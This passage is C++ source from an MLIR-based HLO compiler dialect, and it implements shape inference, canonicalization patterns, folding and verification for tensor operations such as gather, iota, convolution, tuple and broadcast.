builder.create<tensor::DimOp>(loc, operand, element.index())); out_mn_dim.push_back(value_dim); } assert(out_mn_dim.size() <= 1 && "no more than 1 non-contracting/non-batch dimension allowed."); shape_values.insert(shape_values.end(), out_mn_dim.begin(), out_mn_dim.end()); }; generate_mn_dim(lhs, lhs_type, lhs_contracting_dimensions, lhs_batch_dimensions); generate_mn_dim(rhs, rhs_type, rhs_contracting_dimensions, rhs_batch_dimensions); Value output_shape = builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values); reifiedReturnShapes.push_back(output_shape); return success(); } //===----------------------------------------------------------------------===// // GatherOp //===----------------------------------------------------------------------===// // Converts gather ops to slice ops in case we have a single set of constant // indices. struct GatherSlice : public OpRewritePattern<GatherOp> { using OpRewritePattern<GatherOp>::OpRewritePattern; LogicalResult matchAndRewrite(GatherOp gather, PatternRewriter& rewriter) const override { DenseIntElementsAttr index; if (!matchPattern(gather.start_indices(), m_Constant(&index))) return failure(); const auto& dnums = gather.dimension_numbers(); if (dnums.index_vector_dim().getInt() != 0 || index.getType().getRank() > 1) return failure(); // TODO(tberghammer): Remove when the verifier catches this case what is // invalid if all previous condition holds. if (index.getNumElements() != dnums.start_index_map().getNumElements()) return failure(); auto slice_end = llvm::to_vector<8>(gather.slice_sizes().getValues<int64_t>()); llvm::SmallVector<int64_t, 8> slice_start(slice_end.size(), 0); for (auto it : llvm::zip(dnums.start_index_map().getIntValues(), index.getIntValues())) { int64_t map_index = std::get<0>(it).getSExtValue(); int64_t offset = std::get<1>(it).getSExtValue(); slice_start[map_index] += offset; slice_end[map_index] += offset; } llvm::SmallVector<int64_t, 8> slice_stride(slice_end.size(), 1); llvm::SmallVector<int64_t, 8> slice_shape(slice_end.size()); for (size_t i = 0; i < slice_end.size(); ++i) { slice_shape[i] = slice_end[i] - slice_start[i]; } Type element_type = gather.getType().cast<TensorType>().getElementType(); auto slice_type = RankedTensorType::get(slice_shape, element_type); Value result = rewriter.create<SliceOp>( gather.getLoc(), slice_type, gather.getOperand(0), GetI64ElementsAttr(slice_start, &rewriter), GetI64ElementsAttr(slice_end, &rewriter), GetI64ElementsAttr(slice_stride, &rewriter)); if (dnums.collapsed_slice_dims().getNumElements() > 0) { auto collapsed_slice_dims = llvm::to_vector<8>(llvm::map_range( dnums.collapsed_slice_dims().getIntValues(), [](const llvm::APInt& i) { return i.getSExtValue(); })); llvm::SmallVector<int64_t, 8> reshape_shape; for (size_t i = 0; i < slice_shape.size(); ++i) { if (llvm::count(collapsed_slice_dims, i) == 0) { reshape_shape.push_back(slice_shape[i]); } } auto reshape_type = RankedTensorType::get(reshape_shape, element_type); result = rewriter.create<ReshapeOp>(gather.getLoc(), reshape_type, result); } result.setType(gather.getType()); rewriter.replaceOp(gather, result); return success(); } }; void GatherOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.insert<GatherSlice>(context); } namespace { // following https://www.tensorflow.org/xla/operation_semantics#gather // The bounds for the output array along dimension i is computed as follows: // (1) If i is present in batch_dims (i.e. is equal to batch_dims[k] for some k) // then we pick // the corresponding dimension bounds out of start_indices.shape, skipping // index_vector_dim // (i.e. pick start_indices.shape.dims[k] if k < index_vector_dim and // start_indices.shape.dims[k+1] otherwise). // (2) If i is present in offset_dims (i.e. equal to offset_dims[k] for some k) // then we pick // the corresponding bound out of slice_sizes after accounting for // collapsed_slice_dims // (i.e. we pick adjusted_slice_sizes[k] where adjusted_slice_sizes is // slice_sizes with the bounds at indices collapsed_slice_dims removed). Type GetSliceSizeValuesAndType(GatherOp* gather, OpBuilder& builder, Location loc, ValueRange /*operands*/, SmallVectorImpl<Value>& slice_size_values) { for (int64_t val : gather->slice_sizes().getValues<int64_t>()) { slice_size_values.push_back(builder.create<ConstantIndexOp>(loc, val)); } return builder.getIndexType(); } Type GetSliceSizeValuesAndType(DynamicGatherOp* d_gather, OpBuilder& builder, Location loc, ValueRange operands, SmallVectorImpl<Value>& slice_size_values) { typename DynamicGatherOp::Adaptor adaptor(operands); Value slice_sizes = adaptor.slice_sizes(); auto slice_sizes_ty = slice_sizes.getType().cast<ShapedType>(); for (int64_t i = 0; i < slice_sizes_ty.getDimSize(0); ++i) { Value idx = builder.create<ConstantIndexOp>(loc, i); slice_size_values.push_back( builder.create<tensor::ExtractOp>(loc, slice_sizes, idx)); } return slice_sizes.getType().cast<ShapedType>().getElementType(); } template <typename Op> LogicalResult GatherShapeInferImpl( Op* op, OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { // Not support unranked pad a.t.m. auto result_ty = op->getResult().getType().template dyn_cast<RankedTensorType>(); if (!result_ty) return failure(); typename Op::Adaptor adaptor(operands); Value start_indices = adaptor.start_indices(); Location loc = op->getLoc(); int result_rank = result_ty.getRank(); auto dimension_numbers = op->dimension_numbers(); SmallVector<int64_t, 4> collapsed_slice_dims( dimension_numbers.collapsed_slice_dims().template getValues<int64_t>()); SmallVector<int64_t, 4> offset_dims( dimension_numbers.offset_dims().template getValues<int64_t>()); int64_t index_vector_dim = dimension_numbers.index_vector_dim().getValue().getSExtValue(); SmallVector<Value, 4> slice_sizes; Type shape_scalar_type = GetSliceSizeValuesAndType( op, builder, loc, operands, slice_sizes); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; // we label dimensions in the output array not in offset_dims as batch_dims SmallVector<int64_t, 4> batch_dims; for (int64_t i = 0; i < result_rank; ++i) { if (std::find(offset_dims.begin(), offset_dims.end(), i) == offset_dims.end()) { batch_dims.push_back(i); } } // adjusted_slice_sizes is slice_sizes with the bounds at indices // collapsed_slice_dims removed SmallVector<Value, 4> adjusted_slice_sizes; for (int64_t i = 0; i < slice_sizes.size(); ++i) { if (std::find(collapsed_slice_dims.begin(), collapsed_slice_dims.end(), i) == collapsed_slice_dims.end()) { adjusted_slice_sizes.push_back(slice_sizes[i]); } } SmallVector<Value, 4> shape_values; shape_values.reserve(result_rank); for (int64_t i = 0; i < result_rank; ++i) { auto iter = std::find(batch_dims.begin(), batch_dims.end(), i); if (iter != batch_dims.end()) { // i is present in batch_dims int64_t k = std::distance(batch_dims.begin(), iter); if (k < index_vector_dim) { shape_values.push_back(to_shape_scalar_type( builder.create<tensor::DimOp>(loc, start_indices, k))); } else { shape_values.push_back(to_shape_scalar_type( builder.create<tensor::DimOp>(loc, start_indices, k + 1))); } } else { // i is present in offset_dims auto offset_dims_iter = std::find(offset_dims.begin(), offset_dims.end(), i); assert(offset_dims_iter != offset_dims.end()); int64_t k = std::distance(offset_dims.begin(), offset_dims_iter); assert(k < adjusted_slice_sizes.size()); shape_values.push_back(adjusted_slice_sizes[k]); } } Value output_shape = builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values); reifiedReturnShapes.push_back(output_shape); return success(); } } // namespace LogicalResult GatherOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { return GatherShapeInferImpl(this, builder, operands, reifiedReturnShapes); } //===----------------------------------------------------------------------===// // DynamicGatherOp //===----------------------------------------------------------------------===// // LogicalResult DynamicGatherOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { return GatherShapeInferImpl(this, builder, operands, reifiedReturnShapes); } //===----------------------------------------------------------------------===// // GetDimensionSizeOp //===----------------------------------------------------------------------===// // static LogicalResult Verify(GetDimensionSizeOp op) { return VerifyDimAttr(op); } /// Fold get_dimension_size when the said shape dimension is a constant. OpFoldResult GetDimensionSizeOp::fold(ArrayRef<Attribute> attrs) { RankedTensorType type = operand().getType().dyn_cast<RankedTensorType>(); if (!type) return {}; int32_t dim = dimension(); if (type.isDynamic(dim)) return {}; // The result type is always is a 0-d i32 tensor. return DenseIntElementsAttr::get<int32_t>( getResult().getType().cast<RankedTensorType>(), type.getDimSize(dim)); } //===----------------------------------------------------------------------===// // IotaOp //===----------------------------------------------------------------------===// static LogicalResult Verify(IotaOp op) { auto shape = op.getType().cast<ShapedType>(); if (!shape.hasRank()) return success(); if (shape.getRank() == 0) return op.emitOpError() << "does not support scalars."; auto iota_dimension = op.iota_dimension(); if (iota_dimension >= shape.getRank() || iota_dimension < 0) return op.emitOpError() << "iota dimension cannot go beyond the output " "rank or be negative."; return success(); } // Iota operations across multiple dimensions can be reduced to an iota and a // ranked broadcast. struct IotaBroadcast : public OpRewritePattern<IotaOp> { using OpRewritePattern<IotaOp>::OpRewritePattern; LogicalResult matchAndRewrite(IotaOp iota, PatternRewriter& rewriter) const override { auto result_ty = iota.getType().cast<ShapedType>(); if (!result_ty.hasRank() || result_ty.getRank() < 2) { return failure(); } auto iota_dimension = iota.iota_dimension(); auto iota_type = RankedTensorType::get( {result_ty.getDimSize(iota_dimension)}, result_ty.getElementType()); auto new_iota = rewriter.create<IotaOp>(iota.getLoc(), iota_type, rewriter.getI64IntegerAttr(0)); auto broadcast_attr = DenseIntElementsAttr::get( RankedTensorType::get({1}, rewriter.getIntegerType(64)), {iota_dimension}); rewriter.replaceOpWithNewOp<BroadcastInDimOp>(iota, result_ty, new_iota, broadcast_attr); return success(); } }; void IotaOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.insert<IotaBroadcast>(context); } OpFoldResult IotaOp::fold(ArrayRef<Attribute> operands) { auto dimension = iota_dimension(); auto result_ty = getResult().getType().cast<ShapedType>(); if (result_ty.hasRank() && result_ty.getDimSize(dimension) == 1) { Builder builder(getContext()); return builder.getZeroAttr(result_ty); } return {}; } //===----------------------------------------------------------------------===// // DynamicIotaOp //===----------------------------------------------------------------------===// namespace { struct DynamicIotaIsStatic : public OpRewritePattern<DynamicIotaOp> { using OpRewritePattern<DynamicIotaOp>::OpRewritePattern; LogicalResult matchAndRewrite(DynamicIotaOp iota, PatternRewriter& rewriter) const override { auto result_ty = iota.getType().cast<ShapedType>(); if (!result_ty.hasStaticShape()) { return failure(); } rewriter.replaceOpWithNewOp<IotaOp>(iota, result_ty, iota.iota_dimension()); return success(); } }; // Dynamic Iota operations across multiple dimensions can be reduced to an iota // and a ranked broadcast. struct DynamicIotaBroadcast : public OpRewritePattern<DynamicIotaOp> { using OpRewritePattern<DynamicIotaOp>::OpRewritePattern; LogicalResult matchAndRewrite(DynamicIotaOp iota, PatternRewriter& rewriter) const override { auto result_ty = iota.getType().cast<ShapedType>(); if (!result_ty.hasRank() || result_ty.getRank() < 2) { return failure(); } auto iota_dimension = iota.iota_dimension(); auto iota_dimension_int = iota_dimension; auto converted_shape = rewriter.create<IndexCastOp>( iota.getLoc(), RankedTensorType::get( iota.output_shape().getType().cast<ShapedType>().getShape(), rewriter.getI64Type()), iota.output_shape()); auto sliced_shape = rewriter.create<SliceOp>( iota.getLoc(), converted_shape, GetI64ElementsAttr(iota_dimension_int, &rewriter), GetI64ElementsAttr(iota_dimension_int + 1, &rewriter), GetI64ElementsAttr(1, &rewriter)); auto converted_sliced_shape = rewriter.create<IndexCastOp>( iota.getLoc(), RankedTensorType::get( {1}, iota.output_shape().getType().cast<ShapedType>().getElementType()), sliced_shape); auto iota_type = RankedTensorType::get( {result_ty.getDimSize(iota_dimension_int)}, result_ty.getElementType()); auto new_iota = rewriter.create<DynamicIotaOp>( iota.getLoc(), iota_type, converted_sliced_shape, rewriter.getI64IntegerAttr(0)); auto broadcast_attr = DenseIntElementsAttr::get( RankedTensorType::get({1}, rewriter.getIntegerType(64)), {iota_dimension}); rewriter.replaceOpWithNewOp<DynamicBroadcastInDimOp>( iota, result_ty, new_iota, iota.output_shape(), broadcast_attr); return success(); } }; } // namespace void DynamicIotaOp::getCanonicalizationPatterns( OwningRewritePatternList& results, MLIRContext* context) { results.insert<DynamicIotaIsStatic>(context); results.insert<DynamicIotaBroadcast>(context); } static Value castToIndexTensor(OpBuilder& builder, Location loc, Value shape_op) { ShapedType result_ty = shape::getExtentTensorType( builder.getContext(), shape_op.getType().cast<ShapedType>().getDimSize(0)); if (shape_op.getType() == result_ty) return shape_op; // Nothing to do. return builder.create<IndexCastOp>(loc, shape_op, result_ty); } LogicalResult DynamicIotaOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { DynamicIotaOp::Adaptor adaptor(operands); reifiedReturnShapes.push_back( castToIndexTensor(builder, getLoc(), adaptor.output_shape())); return success(); } //===----------------------------------------------------------------------===// // DynamicUpdateSliceOp //===----------------------------------------------------------------------===// static LogicalResult Verify(DynamicUpdateSliceOp op) { OperandRange indices = op.start_indices(); if (indices.size() <= 1) return success(); // Note: start_indices is constrained to Variadic<HLO_ScalarIntTensor>, so it // is OK to cast indices to ShapedType here. auto idx_tensor = indices.take_front().front().getType().cast<ShapedType>(); Type first_elem_ty = idx_tensor.getElementType(); Type elem_ty; for (auto idx : llvm::drop_begin(indices, 1)) { idx_tensor = idx.getType().cast<ShapedType>(); elem_ty = idx_tensor.getElementType(); if (first_elem_ty != elem_ty) { return op.emitOpError() << "start indices must have same element type " "(encountered mismatch: " << first_elem_ty << " vs " << elem_ty << ")"; } } return success(); } OpFoldResult DynamicUpdateSliceOp::fold(ArrayRef<Attribute> operands) { auto operand_shape = this->operand().getType().cast<RankedTensorType>(); auto update_shape = this->update().getType().cast<RankedTensorType>(); if (operand_shape != update_shape || !operand_shape.hasStaticShape()) { return {}; } // Ensure that indices are 0 constants. The 0 check mostly ensures // correctness. For non-constants, the pattern does not fold to avoid hiding // the behavior of incorrect user input. for (Value index : this->start_indices()) { DenseIntElementsAttr de_attr; if (!matchPattern(index, m_Constant(&de_attr))) return {}; int start_val = de_attr.getSplatValue<IntegerAttr>().getInt(); if (start_val != 0) return {}; } return this->update(); } //===----------------------------------------------------------------------===// // AbsOp //===----------------------------------------------------------------------===// LogicalResult AbsOp::inferReturnTypes( MLIRContext*, Optional<Location>, ValueRange operands, DictionaryAttr, RegionRange, SmallVectorImpl<Type>& inferredReturnTypes) { auto operand_ty = (*operands.begin()).getType().cast<ShapedType>(); Type element_ty = operand_ty.getElementType(); if (auto complex_ty = element_ty.dyn_cast<ComplexType>()) { element_ty = complex_ty.getElementType(); } Type result_ty; if (operand_ty.hasRank()) { result_ty = RankedTensorType::get(operand_ty.getShape(), element_ty); } else { result_ty = UnrankedTensorType::get(element_ty); } inferredReturnTypes.push_back(result_ty); return success(); } //===----------------------------------------------------------------------===// // CollectivePermuteOp //===----------------------------------------------------------------------===// static LogicalResult Verify(CollectivePermuteOp op) { return mlir::hlo::VerifyCollectivePermuteSourceTargetPairs( op, op.source_target_pairs()); } //===----------------------------------------------------------------------===// // ConvOp //===----------------------------------------------------------------------===// namespace { template <typename Op> LogicalResult ConvReifyReturnTypeImpl( Op* op, OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes, const SmallVector<Value>& spatial_padding_values, Type shape_scalar_type) { typename Op::Adaptor adaptor(operands); Value lhs = adaptor.lhs(); Value rhs = adaptor.rhs(); RankedTensorType lhs_type = lhs.getType().dyn_cast<RankedTensorType>(); RankedTensorType rhs_type = rhs.getType().dyn_cast<RankedTensorType>(); // Not support unranked type a.t.m. if (!lhs_type || !rhs_type) return failure(); Location loc = op->getLoc(); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; ConvDimensionNumbers dimension_numbers = op->dimension_numbers(); int64_t input_batch_dimension = dimension_numbers.input_batch_dimension().getInt(); int64_t kernel_output_feature_dimension = dimension_numbers.kernel_output_feature_dimension().getInt(); DenseIntElementsAttr input_spatial_dimensions_attr = dimension_numbers.input_spatial_dimensions().cast<DenseIntElementsAttr>(); DenseIntElementsAttr kernel_spatial_dimensions_attr = dimension_numbers.kernel_spatial_dimensions() .cast<DenseIntElementsAttr>(); DenseIntElementsAttr output_spatial_dimensions_attr = dimension_numbers.output_spatial_dimensions() .cast<DenseIntElementsAttr>(); SmallVector<Value, 4> shape_values( output_spatial_dimensions_attr.getNumElements() + 2); // batch dim = lhs-batch-dim / batch_group_count Value lhs_batch_dim = to_shape_scalar_type( builder.create<tensor::DimOp>(loc, lhs, input_batch_dimension)); Value batch_group_count = to_shape_scalar_type( builder.create<ConstantIndexOp>(loc, op->batch_group_count())); Value batch_dim = to_shape_scalar_type( builder.create<SignedDivIOp>(loc, lhs_batch_dim, batch_group_count)); int64_t output_batch_dimension = dimension_numbers.output_batch_dimension().getInt(); shape_values[output_batch_dimension] = batch_dim; // Output's feature dim is the same with kernel's output feature dim. Value feature_dim = to_shape_scalar_type( builder.create<tensor::DimOp>(loc, rhs, kernel_output_feature_dimension)); int64_t output_feature_dimension = dimension_numbers.output_feature_dimension().getInt(); shape_values[output_feature_dimension] = feature_dim; DenseIntElementsAttr window_strides_attr = op->window_strides().getValue(); DenseIntElementsAttr lhs_dilation_attr = op->lhs_dilation().getValue(); DenseIntElementsAttr rhs_dilation_attr = op->rhs_dilation().getValue(); Value one = to_shape_scalar_type(builder.create<ConstantIndexOp>(loc, 1)); for (uint64_t i = 0; i < output_spatial_dimensions_attr.getNumElements(); i++) { // effective_input_value = // (input_size - 1) * input_dilation + 1 + padding_left + padding_right Value effective_input_value = to_shape_scalar_type(builder.create<tensor::DimOp>( loc, lhs, input_spatial_dimensions_attr.getValue<int64_t>(i))); // Dilation. if (lhs_dilation_attr) { Value input_dilation = to_shape_scalar_type(builder.create<ConstantIndexOp>( loc, lhs_dilation_attr.getValue<int64_t>(i))); effective_input_value = builder.create<AddIOp>( loc, builder.create<MulIOp>( loc, builder.create<SubIOp>(loc, effective_input_value, one), input_dilation), one); } // Padding. if (!spatial_padding_values.empty()) { Value padding_left = spatial_padding_values[i * 2]; Value padding_right = spatial_padding_values[i * 2 + 1]; effective_input_value = builder.create<AddIOp>( loc, effective_input_value, builder.create<AddIOp>(loc, padding_left, padding_right)); } // effective_kernel_size = (kernel_size - 1) * dilation + 1 Value effective_kernel_size_value = to_shape_scalar_type(builder.create<tensor::DimOp>( loc, rhs, kernel_spatial_dimensions_attr.getValue<int64_t>(i))); if (rhs_dilation_attr) { Value kernel_dilation = to_shape_scalar_type(builder.create<ConstantIndexOp>( loc, rhs_dilation_attr.getValue<int64_t>(i))); effective_kernel_size_value = builder.create<AddIOp>( loc, one, builder.create<MulIOp>( loc, kernel_dilation, builder.create<SubIOp>(loc, effective_kernel_size_value, one))); } // output_size = // (effective_input_value - effective_kernel_size_value) / stride + 1 Value output_dim_value = builder.create<SubIOp>( loc, effective_input_value, effective_kernel_size_value); if (window_strides_attr) { Value stride_value = to_shape_scalar_type(builder.create<ConstantIndexOp>( loc, window_strides_attr.getValue<int64_t>(i))); output_dim_value = builder.create<SignedDivIOp>(loc, output_dim_value, stride_value); } output_dim_value = builder.create<AddIOp>(loc, output_dim_value, one); shape_values[output_spatial_dimensions_attr.getValue<int64_t>(i)] = output_dim_value; } Value output_shape = builder.create<tensor::FromElementsOp>( loc, shape_scalar_type, shape_values); reifiedReturnShapes.push_back(output_shape); return success(); } } LogicalResult ConvOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { ConvOp::Adaptor adaptor(operands); Location loc = this->getLoc(); DenseIntElementsAttr padding_attr = this->padding().getValue(); Type shape_scalar_type = builder.getIndexType(); SmallVector<Value> spatial_padding_values; if (padding_attr) { for (int64_t pad : padding_attr.getValues<int64_t>()) { Value pad_value = builder.create<ConstantIndexOp>(loc, pad); pad_value = MaybeCastTo(builder, loc, pad_value, shape_scalar_type); spatial_padding_values.push_back(pad_value); } } return ConvReifyReturnTypeImpl(this, builder, operands, reifiedReturnShapes, spatial_padding_values, shape_scalar_type); } LogicalResult DynamicConvOp::reifyReturnTypeShapes( OpBuilder& builder, ValueRange operands, SmallVectorImpl<Value>& reifiedReturnShapes) { DynamicConvOp::Adaptor adaptor(operands); Value d_padding = adaptor.d_padding(); RankedTensorType padding_type = d_padding.getType().dyn_cast<RankedTensorType>(); // Not support unranked type a.t.m. if (!padding_type) return failure(); Location loc = this->getLoc(); Type shape_scalar_type = padding_type.getElementType(); auto to_shape_scalar_type = [&](Value v) { return MaybeCastTo(builder, loc, v, shape_scalar_type); }; SmallVector<Value> spatial_padding_values; ConvDimensionNumbers dimension_numbers = this->dimension_numbers(); DenseIntElementsAttr input_spatial_dimensions_attr = dimension_numbers.input_spatial_dimensions().cast<DenseIntElementsAttr>(); int64_t padding_num = input_spatial_dimensions_attr.getNumElements() * 2; for (int64_t i = 0; i < padding_num; i++) { Value offset = builder.create<ConstantIndexOp>(loc, i); Value pad_value = to_shape_scalar_type( builder.create<tensor::ExtractOp>(loc, d_padding, offset)); spatial_padding_values.push_back(pad_value); } return ConvReifyReturnTypeImpl(this, builder, operands, reifiedReturnShapes, spatial_padding_values, shape_scalar_type); } //===----------------------------------------------------------------------===// // ConvertOp //===----------------------------------------------------------------------===// void ConvertOp::build(OpBuilder& builder, OperationState& result, Value operand, Type result_element_ty) { Type result_ty; Type operand_ty = operand.getType(); if (auto ranked_ty = operand_ty.dyn_cast<RankedTensorType>()) { result_ty = RankedTensorType::get(ranked_ty.getShape(), result_element_ty); } else { result_ty = UnrankedTensorType::get(result_element_ty); } build(builder, result, result_ty, operand); } OpFoldResult ConvertOp::fold(ArrayRef<Attribute> operands) { auto operand_ty = getOperand().getType().cast<TensorType>(); auto result_ty = getResult().getType().cast<TensorType>(); if (operand_ty == result_ty) return getOperand(); // If the result has non-static shape, a convert op is necessary to go from // static shape to non-static shape. if (!result_ty.hasStaticShape()) return {}; // TODO(hinsu): Handle unsigned types. if (operand_ty.getElementType().isUnsignedInteger() || result_ty.getElementType().isUnsignedInteger()) { return {}; } // If the operand is constant, we can do the conversion now. if (auto elementsAttr = operands.front().dyn_cast_or_null<ElementsAttr>()) { return hlo::ConvertElementsAttr(elementsAttr, getElementTypeOrSelf(getResult())); } return {}; } void ConvertOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.insert<EliminateIdentityConvert>(context); } //===----------------------------------------------------------------------===// // DequantizeOp //===----------------------------------------------------------------------===// static LogicalResult Verify(DequantizeOp op) { auto input_type = op.input().getType().dyn_cast<ShapedType>(); auto output_type = op.output().getType().dyn_cast<ShapedType>(); if (!input_type || !output_type) { return op.emitError() << "ranked input and output."; } auto input_shape = input_type.getShape(); auto output_shape = output_type.getShape().vec(); if (op.transpose_output()) { std::reverse(output_shape.begin(), output_shape.end()); } // Check the input rank and output rank are same, and also the lower // dimensions are same. if (input_shape.size() != output_shape.size() || !std::equal(input_shape.begin(), std::next(input_shape.begin(), input_shape.size() - 1), output_shape.begin())) { return op.emitError() << "mismatched dimensions."; } // Check that the last dimension of the output is 2x or 4x of that of the // input depending on the unpacked input is 16 or 8 bits. int input_last_dim = *input_shape.rbegin(); int output_last_dim = *output_shape.rbegin(); int scale_factor = op.is_16bits() ? 2 : 4; if (output_last_dim != scale_factor * input_last_dim) { return op.emitError() << "last dimension of output should be " << scale_factor << "x of the input."; } return success(); } //===----------------------------------------------------------------------===// // GetTupleElementOp //===----------------------------------------------------------------------===// static LogicalResult Verify(GetTupleElementOp op) { auto indexVal = op.index(); auto operandType = op.getOperand().getType().cast<TupleType>(); if (indexVal >= operandType.size()) { return op.emitOpError( llvm::formatv("index {0} is out of bounds of operand with size {1}", indexVal, operandType.size())); } auto expectedType = operandType.getType(indexVal); if (op.getType() != expectedType) { return op.emitOpError(llvm::formatv("has return type {0}, but expected {1}", op.getType(), expectedType)); } return success(); } OpFoldResult GetTupleElementOp::fold(ArrayRef<Attribute> operands) { if (auto tuple_op = getOperand().getDefiningOp<mhlo::TupleOp>()) { return tuple_op.getOperand(index()); } return {}; } //===----------------------------------------------------------------------===// // TupleOp //===----------------------------------------------------------------------===// static LogicalResult Verify(TupleOp op) { auto opType = op.getType().dyn_cast<TupleType>(); if (!opType) return op.emitOpError("tuple op with non-tuple result"); if (op.getNumOperands() != opType.size()) return op.emitOpError( "number of operands to tuple expected to match number of types in " "resultant tuple type"); for (auto it : llvm::enumerate( llvm::zip_first(op.getOperandTypes(), opType.getTypes()))) { if (std::get<0>(it.value()) != std::get<1>(it.value())) return op.emitOpError("has return type mismatch at ") << it.index() << "th value (" << std::get<0>(it.value()) << " != " << std::get<1>(it.value()) << ")"; } return success(); } namespace { // Pattern for unpacking and repacking the same tuple. struct UnpackRepackSameTuple : public OpRewritePattern<TupleOp> { using OpRewritePattern<TupleOp>::OpRewritePattern; LogicalResult matchAndRewrite(TupleOp op, PatternRewriter& rewriter) const override { if (op.val().empty()) return failure(); Value first_element = op.val().front(); auto first_element_op = first_element.getDefiningOp<GetTupleElementOp>(); if (!first_element_op || first_element_op.indexAttr().getInt() != 0) return failure(); Value tuple_predecessor = first_element_op.getOperand(); if (tuple_predecessor.getType() != op.getType()) return failure(); for (auto element_and_idx : llvm::enumerate(op.val().drop_front(1))) { auto element_op = element_and_idx.value().getDefiningOp<GetTupleElementOp>(); if (!element_op || element_op.indexAttr().getInt() != element_and_idx.index() + 1 || element_op.getOperand() != tuple_predecessor) return failure(); } rewriter.replaceOp(op, tuple_predecessor); return success(); } }; } // namespace void TupleOp::getCanonicalizationPatterns(OwningRewritePatternList& results, MLIRContext* context) { results.insert<UnpackRepackSameTuple>(context); } //===----------------------------------------------------------------------===// // AllToAllOp //===----------------------------------------------------------------------===// static LogicalResult Verify(AllToAllOp op) { // If operand is ranked, size of split dimension should be a multiple of split // count. auto type = op.getOperand().getType().dyn_cast<RankedTensorType>(); if (!type) return success(); auto split_dim_size = type.getDimSize(op.split_dimension()); auto split_count = op.split_count(); if (split_dim_size % split_count != 0) { return op.emitError() << "split dimension has size " << split_dim_size << ", expected to be a multiple of split_count " << split_count; } return success(); } //===----------------------------------------------------------------------===// // AllGatherOp //===----------------------------------------------------------------------===// static LogicalResult Verify(AllGatherOp op) { // If operand and result are both ranked, then the size of the gather // dimension in the result should be a multiple of the size of the gather // dimension in the operand. auto operandType = op.operand().getType().dyn_cast<RankedTensorType>(); auto resultType = op.getType().dyn_cast<RankedTensorType>(); uint64_t allGatherDimIndex = op.all_gather_dim(); if (!operandType || !resultType || operandType.isDynamicDim(allGatherDimIndex) || resultType.isDynamicDim(allGatherDimIndex)) return success(); if (operandType.getDimSize(allGatherDimIndex) == 0) return op.emitOpError() << "operand gather dimension cannot be zero."; if ((resultType.getDimSize(allGatherDimIndex) % operandType.getDimSize(allGatherDimIndex)) != 0) return op.emitOpError() << "result gather dimension has size " << resultType.getDimSize(allGatherDimIndex) << ", expected to be a multiple of operand gather dimension size " << operandType.getDimSize(allGatherDimIndex); return success(); } //===----------------------------------------------------------------------===// // BroadcastOp //===----------------------------------------------------------------------===// // TODO(b/129012527) These should be expressed as type constraints. static LogicalResult Verify(BroadcastOp op) { auto sizes = op.broadcast_sizes(); auto sizesType = sizes.getType(); auto sizesRank = sizesType.getRank(); if (sizesRank != 1) { return op.emitOpError(llvm::formatv( "broadcast_sizes has rank {0} instead of rank 1", sizesRank)); } auto resultType = op.getResult().getType().cast<RankedTensorType>(); auto resultRank = resultType.getRank(); auto operandType = op.operand().getType().cast<RankedTensorType>(); auto operandRank = operandType.getRank(); auto sizesSize = sizesType.getNumElements(); auto expectedRank = operandRank + sizesSize; if (resultRank != expectedRank) { return op.emitOpError( llvm::formatv("result rank ({0}) does not match operand rank " "({1}) plus size of broadcast_sizes ({2})", resultRank, operandRank, sizesSize)); } llvm::SmallVector<int64_t, 10> expectedShape(sizes.getValues<int64_t>()); auto operandShape = operandType.getShape(); expectedShape.insert(expectedShape.end(), operandShape.begin(), operandShape.end()); auto resultShape = resultType.getShape(); if (resultShape != llvm::makeArrayRef(expectedShape)) { return op.emitOpError(llvm::formatv( "result has shape [{0}] instead of [{1}]", llvm::make_range(resultShape.begin(), resultShape.end()), llvm::make_range(expectedShape.begin(), expectedShape.end()))); } return success(); } //===----------------------------------------------------------------------===// // BroadcastInDimOp //===----------------------------------------------------------------------===// static LogicalResult Verify(BroadcastInDimOp op) { auto operandType = op.operand().getType().dyn_cast<RankedTensorType>(); if (!operandType) { // The following verification checks all depend on knowing the rank of // the operand. Bail out now if we don't know the rank of the operand. return success(); } auto operandRank = operandType.getRank(); if (!op.broadcast_dimensions()) { if (operandRank == 0) { return success(); } return op.emitOpError( llvm::formatv("broadcast_dimensions is absent, but required because " "operand has non-zero rank ({0})", operandRank)); } auto dimensions = op.broadcast_dimensions(); auto dimensionsType = op.broadcast_dimensions().getType(); auto dimensionsRank = dimensionsType.getRank(); if (dimensionsRank != 1) { return op.emitOpError(llvm::formatv( "broadcast_dimensions has rank {0} instead of rank 1", dimensionsRank)); } auto dimensionsSize = dimensionsType.getNumElements(); if (dimensionsSize != operandRank) { return op.emitOpError(llvm::formatv( "broadcast_dimensions size ({0}) does not match operand rank ({1})", dimensionsSize, operandRank)); } auto resultType = op.getResult().getType().cast<RankedTensorType>(); auto resultRank = resultType.getRank(); if (resultRank < operandRank) { return op.emitOpError( llvm::formatv("result rank ({0}) is less than operand rank ({1})", resultRank, operandRank)); } for (int i = 0; i != dimensionsSize; ++i) { auto dimIndex = dimensions.getValue<int64_t>(i); if (dimIndex >= resultRank) { return op.emitOpError( llvm::formatv("broadcast_dimensions contains invalid value {0} for " "result with rank {1}", dimIndex, resultRank)); } if (!operandType.isDynamicDim(i)) { auto dimSize = operandType.getDimSize(i); auto resultDimSize = resultType.getDimSize(dimIndex); if (dimSize != 1 && dimSize != resultDimSize) { return op.emitOpError( llvm::formatv("size of operand dimension {0} ({1}) is not equal to " "1 or size of result dimension {2} ({3})", i, dimSize, dimIndex, resultDimSize)); } } } return success(); } OpFoldResult 